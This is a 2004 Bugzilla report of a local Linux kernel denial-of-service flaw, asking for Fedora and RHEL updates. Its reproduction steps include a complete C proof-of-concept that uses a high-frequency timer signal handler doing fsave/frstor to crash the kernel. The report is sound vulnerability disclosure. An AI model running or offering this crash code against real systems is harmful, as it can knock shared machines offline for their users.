Bug 125940

From Bugzilla Helper:
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7)
Gecko/20040608 Firefox/0.8

Description of problem:
Seems there is a local kernel denial of service exploit in just about
any kernel out there.
Info is at http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html
Fedora Core should be updated. RHEL should be investigated.


Version-Release number of selected component (if applicable):


How reproducible:
Always

Steps to Reproduce:
1. compile and run:
#include <sys/time.h>
  #include <signal.h>
  #include <unistd.h>
  
  static void Handler(int ignore)
  {
   char fpubuf[108];
   __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
   write(2, "*", 1);
   __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
  }
  
  int main(int argc, char *argv[])
  {
   struct itimerval spec;
   signal(SIGALRM, Handler);
   spec.it_interval.tv_sec=0;
   spec.it_interval.tv_usec=100;
   spec.it_value.tv_sec=0;
   spec.it_value.tv_usec=100;
   setitimer(ITIMER_REAL, &spec, NULL);
   while(1)
    write(1, ".", 1);
  
   return 0;
  }


Additional info:
Appears that the kernel doesn't handle floating point exeptions in
signal handlers.